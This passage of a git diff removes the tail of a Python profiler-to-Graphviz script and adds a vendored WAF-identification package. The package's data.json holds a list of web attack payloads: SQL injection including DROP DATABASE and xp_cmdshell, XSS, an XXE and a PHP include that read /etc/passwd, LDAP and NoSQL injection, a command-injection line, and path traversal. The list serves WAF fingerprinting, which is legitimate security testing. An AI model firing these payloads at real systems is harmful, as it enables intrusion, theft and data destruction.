self.entries[function.id] - except KeyError: - self.entries[function.id] = (function, { }) - else: - function_total, callees_total = entry - function_total.samples += function.samples - - def add_callee(self, function, callee): - func, callees = self.entries[function.id] - try: - entry = callees[callee.id] - except KeyError: - callees[callee.id] = callee - else: - entry.samples += callee.samples - - def parse(self): - self.readline() - self.readline() - self.readline() - self.readline() - - match = re.compile(r'(?P<prefix>[|+ ]*)(?P<samples>\d+), (?P<symbol>[^,]+), (?P<image>.*)') - - while self.lookahead(): - line = self.consume() - mo = match.match(line) - if not mo: - raise ParseError('failed to parse', line) - - fields = mo.groupdict() - prefix = len(fields.get('prefix', 0)) / 2 - 1 - - symbol = str(fields.get('symbol', 0)) - image = str(fields.get('image', 0)) - - entry = Struct() - entry.id = ':'.join([symbol, image]) - entry.samples = int(fields.get('samples', 0)) - - entry.name = symbol - entry.image = image - - # adjust the callstack - if prefix < len(self.stack): - del self.stack[prefix:] - - if prefix == len(self.stack): - self.stack.append(entry) - - # if the callstack has had an entry, it's this functions caller - if prefix > 0: - self.add_callee(self.stack[prefix - 1], entry) - - self.add_entry(entry) - - profile = Profile() - profile[SAMPLES] = 0 - for _function, _callees in self.entries.itervalues(): - function = Function(_function.id, _function.name) - function[SAMPLES] = _function.samples - profile.add_function(function) - profile[SAMPLES] += _function.samples - - if _function.image: - function.module = os.path.basename(_function.image) - - for _callee in _callees.itervalues(): - call = Call(_callee.id) - call[SAMPLES] = _callee.samples - function.add_call(call) - - # compute derived data - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class XPerfParser(Parser): - """Parser for CSVs generted by XPerf, from Microsoft Windows Performance Tools. - """ - - def __init__(self, stream): - Parser.__init__(self) - self.stream = stream - self.profile = Profile() - self.profile[SAMPLES] = 0 - self.column = {} - - def parse(self): - import csv - reader = csv.reader( - self.stream, - delimiter = ',', - quotechar = None, - escapechar = None, - doublequote = False, - skipinitialspace = True, - lineterminator = '\r\n', - quoting = csv.QUOTE_NONE) - it = iter(reader) - row = next(reader) - self.parse_header(row) - for row in it: - self.parse_row(row) - - # compute derived data - self.profile.validate() - self.profile.find_cycles() - self.profile.ratio(TIME_RATIO, SAMPLES) - self.profile.call_ratios(SAMPLES2) - self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return self.profile - - def parse_header(self, row): - for column in range(len(row)): - name = row[column] - assert name not in self.column - self.column[name] = column - - def parse_row(self, row): - fields = {} - for name, column in self.column.iteritems(): - value = row[column] - for factory in int, float: - try: - value = factory(value) - except ValueError: - pass - else: - break - fields[name] = value - - process = fields['Process Name'] - symbol = fields['Module'] + '!' + fields['Function'] - weight = fields['Weight'] - count = fields['Count'] - - function = self.get_function(process, symbol) - function[SAMPLES] += weight * count - self.profile[SAMPLES] += weight * count - - stack = fields['Stack'] - if stack != '?': - stack = stack.split('/') - assert stack[0] == '[Root]' - if stack[-1] != symbol: - # XXX: some cases the sampled function does not appear in the stack - stack.append(symbol) - caller = None - for symbol in stack[1:]: - callee = self.get_function(process, symbol) - if caller is not None: - try: - call = caller.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[SAMPLES2] = count - caller.add_call(call) - else: - call[SAMPLES2] += count - caller = callee - - def get_function(self, process, symbol): - function_id = process + '!' + symbol - - try: - function = self.profile.functions[function_id] - except KeyError: - module, name = symbol.split('!') - function = Function(function_id, name) - function.process = process - function.module = module - function[SAMPLES] = 0 - self.profile.add_function(function) - - return function - - -class SleepyParser(Parser): - """Parser for GNU gprof output. - - See also: - - http://www.codersnotes.com/sleepy/ - - http://sleepygraph.sourceforge.net/ - """ - - def __init__(self, filename): - Parser.__init__(self) - - from zipfile import ZipFile - - self.database = ZipFile(filename) - - self.symbols = {} - self.calls = {} - - self.profile = Profile() - - _symbol_re = re.compile( - r'^(?P<id>\w+)' + - r'\s+"(?P<module>[^"]*)"' + - r'\s+"(?P<procname>[^"]*)"' + - r'\s+"(?P<sourcefile>[^"]*)"' + - r'\s+(?P<sourceline>\d+)$' - ) - - def parse_symbols(self): - lines = self.database.read('symbols.txt').splitlines() - for line in lines: - mo = self._symbol_re.match(line) - if mo: - symbol_id, module, procname, sourcefile, sourceline = mo.groups() - - function_id = ':'.join([module, procname]) - - try: - function = self.profile.functions[function_id] - except KeyError: - function = Function(function_id, procname) - function.module = module - function[SAMPLES] = 0 - self.profile.add_function(function) - - self.symbols[symbol_id] = function - - def parse_callstacks(self): - lines = self.database.read("callstacks.txt").splitlines() - for line in lines: - fields = line.split() - samples = int(fields[0]) - callstack = fields[1:] - - callstack = [self.symbols[symbol_id] for symbol_id in callstack] - - callee = callstack[0] - - callee[SAMPLES] += samples - self.profile[SAMPLES] += samples - - for caller in callstack[1:]: - try: - call = caller.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[SAMPLES2] = samples - caller.add_call(call) - else: - call[SAMPLES2] += samples - - callee = caller - - def parse(self): - profile = self.profile - profile[SAMPLES] = 0 - - self.parse_symbols() - self.parse_callstacks() - - # Compute derived events - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class AQtimeTable: - - def __init__(self, name, fields): - self.name = name - - self.fields = fields - self.field_column = {} - for column in range(len(fields)): - self.field_column[fields[column]] = column - self.rows = [] - - def __len__(self): - return len(self.rows) - - def __iter__(self): - for values, children in self.rows: - fields = {} - for name, value in zip(self.fields, values): - fields[name] = value - children = dict([(child.name, child) for child in children]) - yield fields, children - raise StopIteration - - def add_row(self, values, children=()): - self.rows.append((values, children)) - - -class AQtimeParser(XmlParser): - - def __init__(self, stream): - XmlParser.__init__(self, stream) - self.tables = {} - - def parse(self): - self.element_start('AQtime_Results') - self.parse_headers() - results = self.parse_results() - self.element_end('AQtime_Results') - return self.build_profile(results) - - def parse_headers(self): - self.element_start('HEADERS') - while self.token.type == XML_ELEMENT_START: - self.parse_table_header() - self.element_end('HEADERS') - - def parse_table_header(self): - attrs = self.element_start('TABLE_HEADER') - name = attrs['NAME'] - id = int(attrs['ID']) - field_types = [] - field_names = [] - while self.token.type == XML_ELEMENT_START: - field_type, field_name = self.parse_table_field() - field_types.append(field_type) - field_names.append(field_name) - self.element_end('TABLE_HEADER') - self.tables[id] = name, field_types, field_names - - def parse_table_field(self): - attrs = self.element_start('TABLE_FIELD') - type = attrs['TYPE'] - name = self.character_data() - self.element_end('TABLE_FIELD') - return type, name - - def parse_results(self): - self.element_start('RESULTS') - table = self.parse_data() - self.element_end('RESULTS') - return table - - def parse_data(self): - rows = [] - attrs = self.element_start('DATA') - table_id = int(attrs['TABLE_ID']) - table_name, field_types, field_names = self.tables[table_id] - table = AQtimeTable(table_name, field_names) - while self.token.type == XML_ELEMENT_START: - row, children = self.parse_row(field_types) - table.add_row(row, children) - self.element_end('DATA') - return table - - def parse_row(self, field_types): - row = [None]*len(field_types) - children = [] - self.element_start('ROW') - while self.token.type == XML_ELEMENT_START: - if self.token.name_or_data == 'FIELD': - field_id, field_value = self.parse_field(field_types) - row[field_id] = field_value - elif self.token.name_or_data == 'CHILDREN': - children = self.parse_children() - else: - raise XmlTokenMismatch("<FIELD ...> or <CHILDREN ...>", self.token) - self.element_end('ROW') - return row, children - - def parse_field(self, field_types): - attrs = self.element_start('FIELD') - id = int(attrs['ID']) - type = field_types[id] - value = self.character_data() - if type == 'Integer': - value = int(value) - elif type == 'Float': - value = float(value) - elif type == 'Address': - value = int(value) - elif type == 'String': - pass - else: - assert False - self.element_end('FIELD') - return id, value - - def parse_children(self): - children = [] - self.element_start('CHILDREN') - while self.token.type == XML_ELEMENT_START: - table = self.parse_data() - assert table.name not in children - children.append(table) - self.element_end('CHILDREN') - return children - - def build_profile(self, results): - assert results.name == 'Routines' - profile = Profile() - profile[TIME] = 0.0 - for fields, tables in results: - function = self.build_function(fields) - children = tables['Children'] - for fields, _ in children: - call = self.build_call(fields) - function.add_call(call) - profile.add_function(function) - profile[TIME] = profile[TIME] + function[TIME] - profile[TOTAL_TIME] = profile[TIME] - profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - return profile - - def build_function(self, fields): - function = Function(self.build_id(fields), self.build_name(fields)) - function[TIME] = fields['Time'] - function[TOTAL_TIME] = fields['Time with Children'] - #function[TIME_RATIO] = fields['% Time']/100.0 - #function[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 - return function - - def build_call(self, fields): - call = Call(self.build_id(fields)) - call[TIME] = fields['Time'] - call[TOTAL_TIME] = fields['Time with Children'] - #call[TIME_RATIO] = fields['% Time']/100.0 - #call[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 - return call - - def build_id(self, fields): - return ':'.join([fields['Module Name'], fields['Unit Name'], fields['Routine Name']]) - - def build_name(self, fields): - # TODO: use more fields - return fields['Routine Name'] - - -class PstatsParser: - """Parser python profiling statistics saved with te pstats module.""" - - def __init__(self, *filename): - import pstats - try: - self.stats = pstats.Stats(*filename) - except ValueError: - import hotshot.stats - self.stats = hotshot.stats.load(filename[0]) - self.profile = Profile() - self.function_ids = {} - - def get_function_name(self, (filename, line, name)): - module = os.path.splitext(filename)[0] - module = os.path.basename(module) - return "%s:%d:%s" % (module, line, name) - - def get_function(self, key): - try: - id = self.function_ids[key] - except KeyError: - id = len(self.function_ids) - name = self.get_function_name(key) - function = Function(id, name) - self.profile.functions[id] = function - self.function_ids[key] = id - else: - function = self.profile.functions[id] - return function - - def parse(self): - self.profile[TIME] = 0.0 - self.profile[TOTAL_TIME] = self.stats.total_tt - for fn, (cc, nc, tt, ct, callers) in self.stats.stats.iteritems(): - callee = self.get_function(fn) - callee.called = nc - callee[TOTAL_TIME] = ct - callee[TIME] = tt - self.profile[TIME] += tt - self.profile[TOTAL_TIME] = max(self.profile[TOTAL_TIME], ct) - for fn, value in callers.iteritems(): - caller = self.get_function(fn) - call = Call(callee.id) - if isinstance(value, tuple): - for i in xrange(0, len(value), 4): - nc, cc, tt, ct = value[i:i+4] - if CALLS in call: - call[CALLS] += cc - else: - call[CALLS] = cc - - if TOTAL_TIME in call: - call[TOTAL_TIME] += ct - else: - call[TOTAL_TIME] = ct - - else: - call[CALLS] = value - call[TOTAL_TIME] = ratio(value, nc)*ct - - caller.add_call(call) - #self.stats.print_stats() - #self.stats.print_callees() - - # Compute derived events - self.profile.validate() - self.profile.ratio(TIME_RATIO, TIME) - self.profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - - return self.profile - - -class Theme: - - def __init__(self, - bgcolor = (0.0, 0.0, 1.0), - mincolor = (0.0, 0.0, 0.0), - maxcolor = (0.0, 0.0, 1.0), - fontname = "Arial", - minfontsize = 10.0, - maxfontsize = 10.0, - minpenwidth = 0.5, - maxpenwidth = 4.0, - gamma = 2.2, - skew = 1.0): - self.bgcolor = bgcolor - self.mincolor = mincolor - self.maxcolor = maxcolor - self.fontname = fontname - self.minfontsize = minfontsize - self.maxfontsize = maxfontsize - self.minpenwidth = minpenwidth - self.maxpenwidth = maxpenwidth - self.gamma = gamma - self.skew = skew - - def graph_bgcolor(self): - return self.hsl_to_rgb(*self.bgcolor) - - def graph_fontname(self): - return self.fontname - - def graph_fontsize(self): - return self.minfontsize - - def node_bgcolor(self, weight): - return self.color(weight) - - def node_fgcolor(self, weight): - return self.graph_bgcolor() - - def node_fontsize(self, weight): - return self.fontsize(weight) - - def edge_color(self, weight): - return self.color(weight) - - def edge_fontsize(self, weight): - return self.fontsize(weight) - - def edge_penwidth(self, weight): - return max(weight*self.maxpenwidth, self.minpenwidth) - - def edge_arrowsize(self, weight): - return 0.5 * math.sqrt(self.edge_penwidth(weight)) - - def fontsize(self, weight): - return max(weight**2 * self.maxfontsize, self.minfontsize) - - def color(self, weight): - weight = min(max(weight, 0.0), 1.0) - - hmin, smin, lmin = self.mincolor - hmax, smax, lmax = self.maxcolor - - if self.skew < 0: - raise ValueError("Skew must be greater than 0") - elif self.skew == 1.0: - h = hmin + weight*(hmax - hmin) - s = smin + weight*(smax - smin) - l = lmin + weight*(lmax - lmin) - else: - base = self.skew - h = hmin + ((hmax-hmin)*(-1.0 + (base ** weight)) / (base - 1.0)) - s = smin + ((smax-smin)*(-1.0 + (base ** weight)) / (base - 1.0)) - l = lmin + ((lmax-lmin)*(-1.0 + (base ** weight)) / (base - 1.0)) - - return self.hsl_to_rgb(h, s, l) - - def hsl_to_rgb(self, h, s, l): - """Convert a color from HSL color-model to RGB. - - See also: - - http://www.w3.org/TR/css3-color/#hsl-color - """ - - h = h % 1.0 - s = min(max(s, 0.0), 1.0) - l = min(max(l, 0.0), 1.0) - - if l <= 0.5: - m2 = l*(s + 1.0) - else: - m2 = l + s - l*s - m1 = l*2.0 - m2 - r = self._hue_to_rgb(m1, m2, h + 1.0/3.0) - g = self._hue_to_rgb(m1, m2, h) - b = self._hue_to_rgb(m1, m2, h - 1.0/3.0) - - # Apply gamma correction - r **= self.gamma - g **= self.gamma - b **= self.gamma - - return (r, g, b) - - def _hue_to_rgb(self, m1, m2, h): - if h < 0.0: - h += 1.0 - elif h > 1.0: - h -= 1.0 - if h*6 < 1.0: - return m1 + (m2 - m1)*h*6.0 - elif h*2 < 1.0: - return m2 - elif h*3 < 2.0: - return m1 + (m2 - m1)*(2.0/3.0 - h)*6.0 - else: - return m1 - - -TEMPERATURE_COLORMAP = Theme( - mincolor = (2.0/3.0, 0.80, 0.25), # dark blue - maxcolor = (0.0, 1.0, 0.5), # satured red - gamma = 1.0 -) - -PINK_COLORMAP = Theme( - mincolor = (0.0, 1.0, 0.90), # pink - maxcolor = (0.0, 1.0, 0.5), # satured red -) - -GRAY_COLORMAP = Theme( - mincolor = (0.0, 0.0, 0.85), # light gray - maxcolor = (0.0, 0.0, 0.0), # black -) - -BW_COLORMAP = Theme( - minfontsize = 8.0, - maxfontsize = 24.0, - mincolor = (0.0, 0.0, 0.0), # black - maxcolor = (0.0, 0.0, 0.0), # black - minpenwidth = 0.1, - maxpenwidth = 8.0, -) - - -class DotWriter: - """Writer for the DOT language. - - See also: - - "The DOT Language" specification - http://www.graphviz.org/doc/info/lang.html - """ - - def __init__(self, fp): - self.fp = fp - - def graph(self, profile, theme): - self.begin_graph() - - fontname = theme.graph_fontname() - - self.attr('graph', fontname=fontname, ranksep=0.25, nodesep=0.125) - self.attr('node', fontname=fontname, shape="box", style="filled", fontcolor="white", width=0, height=0) - self.attr('edge', fontname=fontname) - - for function in profile.functions.itervalues(): - labels = [] - if function.process is not None: - labels.append(function.process) - if function.module is not None: - labels.append(function.module) - labels.append(function.name) - for event in TOTAL_TIME_RATIO, TIME_RATIO: - if event in function.events: - label = event.format(function[event]) - labels.append(label) - if function.called is not None: - labels.append(u"%u\xd7" % (function.called,)) - - if function.weight is not None: - weight = function.weight - else: - weight = 0.0 - - label = '\n'.join(labels) - self.node(function.id, - label = label, - color = self.color(theme.node_bgcolor(weight)), - fontcolor = self.color(theme.node_fgcolor(weight)), - fontsize = "%.2f" % theme.node_fontsize(weight), - ) - - for call in function.calls.itervalues(): - callee = profile.functions[call.callee_id] - - labels = [] - for event in TOTAL_TIME_RATIO, CALLS: - if event in call.events: - label = event.format(call[event]) - labels.append(label) - - if call.weight is not None: - weight = call.weight - elif callee.weight is not None: - weight = callee.weight - else: - weight = 0.0 - - label = '\n'.join(labels) - - self.edge(function.id, call.callee_id, - label = label, - color = self.color(theme.edge_color(weight)), - fontcolor = self.color(theme.edge_color(weight)), - fontsize = "%.2f" % theme.edge_fontsize(weight), - penwidth = "%.2f" % theme.edge_penwidth(weight), - labeldistance = "%.2f" % theme.edge_penwidth(weight), - arrowsize = "%.2f" % theme.edge_arrowsize(weight), - ) - - self.end_graph() - - def begin_graph(self): - self.write('digraph {\n') - - def end_graph(self): - self.write('}\n') - - def attr(self, what, **attrs): - self.write("\t") - self.write(what) - self.attr_list(attrs) - self.write(";\n") - - def node(self, node, **attrs): - self.write("\t") - self.id(node) - self.attr_list(attrs) - self.write(";\n") - - def edge(self, src, dst, **attrs): - self.write("\t") - self.id(src) - self.write(" -> ") - self.id(dst) - self.attr_list(attrs) - self.write(";\n") - - def attr_list(self, attrs): - if not attrs: - return - self.write(' [') - first = True - for name, value in attrs.iteritems(): - if first: - first = False - else: - self.write(", ") - self.id(name) - self.write('=') - self.id(value) - self.write(']') - - def id(self, id): - if isinstance(id, (int, float)): - s = str(id) - elif isinstance(id, basestring): - if id.isalnum() and not id.startswith('0x'): - s = id - else: - s = self.escape(id) - else: - raise TypeError - self.write(s) - - def color(self, (r, g, b)): - - def float2int(f): - if f <= 0.0: - return 0 - if f >= 1.0: - return 255 - return int(255.0*f + 0.5) - - return "#" + "".join(["%02x" % float2int(c) for c in (r, g, b)]) - - def escape(self, s): - s = s.encode('utf-8') - s = s.replace('\\', r'\\') - s = s.replace('\n', r'\n') - s = s.replace('\t', r'\t') - s = s.replace('"', r'\"') - return '"' + s + '"' - - def write(self, s): - self.fp.write(s) - - -class Main: - """Main program.""" - - themes = { - "color": TEMPERATURE_COLORMAP, - "pink": PINK_COLORMAP, - "gray": GRAY_COLORMAP, - "bw": BW_COLORMAP, - } - - def main(self): - """Main program.""" - - parser = optparse.OptionParser( - usage="\n\t%prog [options] [file] ...", - version="%%prog %s" % __version__) - parser.add_option( - '-o', '--output', metavar='FILE', - type="string", dest="output", - help="output filename [stdout]") - parser.add_option( - '-n', '--node-thres', metavar='PERCENTAGE', - type="float", dest="node_thres", default=0.5, - help="eliminate nodes below this threshold [default: %default]") - parser.add_option( - '-e', '--edge-thres', metavar='PERCENTAGE', - type="float", dest="edge_thres", default=0.1, - help="eliminate edges below this threshold [default: %default]") - parser.add_option( - '-f', '--format', - type="choice", choices=('prof', 'callgrind', 'oprofile', 'sysprof', 'pstats', 'shark', 'sleepy', 'aqtime', 'xperf'), - dest="format", default="prof", - help="profile format: prof, callgrind, oprofile, sysprof, shark, sleepy, aqtime, pstats, or xperf [default: %default]") - parser.add_option( - '-c', '--colormap', - type="choice", choices=('color', 'pink', 'gray', 'bw'), - dest="theme", default="color", - help="color map: color, pink, gray, or bw [default: %default]") - parser.add_option( - '-s', '--strip', - action="store_true", - dest="strip", default=False, - help="strip function parameters, template parameters, and const modifiers from demangled C++ function names") - parser.add_option( - '-w', '--wrap', - action="store_true", - dest="wrap", default=False, - help="wrap function names") - # add a new option to control skew of the colorization curve - parser.add_option( - '--skew', - type="float", dest="theme_skew", default=1.0, - help="skew the colorization curve. Values < 1.0 give more variety to lower percentages. Value > 1.0 give less variety to lower percentages") - (self.options, self.args) = parser.parse_args(sys.argv[1:]) - - if len(self.args) > 1 and self.options.format != 'pstats': - parser.error('incorrect number of arguments') - - try: - self.theme = self.themes[self.options.theme] - except KeyError: - parser.error('invalid colormap \'%s\'' % self.options.theme) - - # set skew on the theme now that it has been picked. - if self.options.theme_skew: - self.theme.skew = self.options.theme_skew - - if self.options.format == 'prof': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = GprofParser(fp) - elif self.options.format == 'callgrind': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = CallgrindParser(fp) - elif self.options.format == 'oprofile': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = OprofileParser(fp) - elif self.options.format == 'sysprof': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = SysprofParser(fp) - elif self.options.format == 'pstats': - if not self.args: - parser.error('at least a file must be specified for pstats input') - parser = PstatsParser(*self.args) - elif self.options.format == 'xperf': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = XPerfParser(fp) - elif self.options.format == 'shark': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = SharkParser(fp) - elif self.options.format == 'sleepy': - if len(self.args) != 1: - parser.error('exactly one file must be specified for sleepy input') - parser = SleepyParser(self.args[0]) - elif self.options.format == 'aqtime': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = AQtimeParser(fp) - else: - parser.error('invalid format \'%s\'' % self.options.format) - - self.profile = parser.parse() - - if self.options.output is None: - self.output = sys.stdout - else: - self.output = open(self.options.output, 'wt') - - self.write_graph() - - _parenthesis_re = re.compile(r'\([^()]*\)') - _angles_re = re.compile(r'<[^<>]*>') - _const_re = re.compile(r'\s+const$') - - def strip_function_name(self, name): - """Remove extraneous information from C++ demangled function names.""" - - # Strip function parameters from name by recursively removing paired parenthesis - while True: - name, n = self._parenthesis_re.subn('', name) - if not n: - break - - # Strip const qualifier - name = self._const_re.sub('', name) - - # Strip template parameters from name by recursively removing paired angles - while True: - name, n = self._angles_re.subn('', name) - if not n: - break - - return name - - def wrap_function_name(self, name): - """Split the function name on multiple lines.""" - - if len(name) > 32: - ratio = 2.0/3.0 - height = max(int(len(name)/(1.0 - ratio) + 0.5), 1) - width = max(len(name)/height, 32) - # TODO: break lines in symbols - name = textwrap.fill(name, width, break_long_words=False) - - # Take away spaces - name = name.replace(", ", ",") - name = name.replace("> >", ">>") - name = name.replace("> >", ">>") # catch consecutive - - return name - - def compress_function_name(self, name): - """Compress function name according to the user preferences.""" - - if self.options.strip: - name = self.strip_function_name(name) - - if self.options.wrap: - name = self.wrap_function_name(name) - - # TODO: merge functions with same resulting name - - return name - - def write_graph(self): - dot = DotWriter(self.output) - profile = self.profile - profile.prune(self.options.node_thres/100.0, self.options.edge_thres/100.0) - - for function in profile.functions.itervalues(): - function.name = self.compress_function_name(function.name) - - dot.graph(profile, self.theme) - - -if __name__ == '__main__': - Main().main() diff --git a/thirdparty/identywaf/LICENSE b/thirdparty/identywaf/LICENSE new file mode 100644 index 00000000000..c46b637f9e2 --- /dev/null +++ b/thirdparty/identywaf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019-2020 Miroslav Stampar + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py new file mode 100644 index 00000000000..4ce99ee8e05 --- /dev/null +++ b/thirdparty/identywaf/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# +# Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT +# See the file 'LICENSE' for copying permission + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +pass diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json new file mode 100644 index 00000000000..afab549d4b5 --- /dev/null +++ b/thirdparty/identywaf/data.json @@ -0,0 +1,943 @@ +{ + "__copyright__": "Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", + "__notice__": "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software", + + "payloads": [ + "HTML::<img>", + "SQLi::1 AND 1", + "SQLi::1/**/AND/**/1", + "SQLi::1/*0AND*/1", + "SQLi::1 AND 1=1", + "SQLi::1 AND 1 LIKE 1", + "SQLi::1 AND 1 BETWEEN 0 AND 1", + "SQLi::1 AND 2>(SELECT 1)-- -", + "SQLi::' OR SLEEP(5) OR '", + "SQLi::admin'-- -", + "SQLi::information_schema", + "SQLi::;DROP TABLE mysql.users", + "SQLi::';DROP DATABASE mysql#", + "SQLi::1/**/UNION/**/SELECT/**/1/**/FROM/**/information_schema.*", + "SQLi::SELECT id FROM users WHERE id>2", + "SQLi::1 UNION SELECT information_schema.*", + "SQLi::1;EXEC xp_cmdshell('type autoexec.bat');", + "SQLi::1;INSERT INTO USERS values('admin', 'foobar')", + "XSS::<img src=x onerror=alert('XSS')>", + "XSS::<img onfoo=f()>", + "XSS::<script>", + "XSS::<script>alert('XSS')</script>", + "XSS::\\\";alert('XSS');//", + "XSS::1' onerror=alert(String.fromCharCode(88,83,83))>", + "XSS::<![CDATA[<script>var n=0;while(true){n++;}</script>]]>", + "XSS::<meta http-equiv=\"refresh\" content=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", + "XSS::javascript:alert(/XSS/)", + "XSS::<marquee onstart=alert(1)>", + "XPATHi::' and count(/*)=1 and '1'='1", + "XPATHi::count(/child::node())", + "XPATHi::' and count(/comment())=1 and '1'='1", + "XPATHi::' or '1'='1", + "XXE::<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>", + "LDAPi::admin*)((|userpassword=*)", + "LDAPi::user=*)(uid=*))(|(uid=*", + "LDAPi::*(|(objectclass=*))", + "NOSQLi::true, $where: '1 == 1'", + "NOSQLi::{ $ne: 1 }", + "NOSQLi::' } ], $comment:'success'", + "PHPi::<?php include_once(\"/etc/passwd\"); ?>", + "ACE::netstat -antup | grep :443; ping 127.0.0.1; curl http://www.google.com", + "PT:://///.htaccess", + "PT::/etc/passwd", + "PT::../../boot.ini", + "PT::C:/inetpub/wwwroot/global.asa" + ], + "wafs": { + "360": { + "company": "360", + "name": "360", + "regex": "<title>493|/wzws-waf-cgi/", + "signatures": [ + "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "aesecure": { + "company": "aeSecure", + "name": "aeSecure", + "regex": "aesecure_denied\\.png|aesecure-code: \\d+", + "signatures": [ + "8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD" + ] + }, + "airlock": { + "company": "Phion/Ergon", + "name": "Airlock", + "regex": "The server detected a syntax error in your request", + "signatures": [ + "3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD" + ] + }, + "alertlogic": { + "company": "Alert Logic", + "name": "Alert Logic", + "regex": "(?s)timed_redirect\\(seconds, url\\).+?

    Reference ID:", + "signatures": [] + }, + "aliyundun": { + "company": "Alibaba Cloud Computing", + "name": "AliYunDun", + "regex": "Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\.aliyun\\.com/", + "signatures": [ + "e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "anquanbao": { + "company": "Anquanbao", + "name": "Anquanbao", + "regex": "/aqb_cc/error/", + "signatures": [ + "c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "approach": { + "company": "Approach", + "name": "Approach", + "regex": "Approach.+?Web Application (Firewall|Filtering)", + "signatures": [ + "fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD" + ] + }, + "armor": { + "company": "Armor Defense", + "name": "Armor Protection", + "regex": "This request has been blocked by website protection from Armor", + "signatures": [ + "03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", + "1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ], + "note": "Uses SecureSphere (Imperva) (Reference: https://www.imperva.com/resources/case_studies/CS_Armor.pdf)" + }, + "asm": { + "company": "F5 Networks", + "name": "Application Security Manager", + "regex": "The requested URL was rejected\\. Please consult with your administrator|security\\.f5aas\\.com", + "signatures": [ + 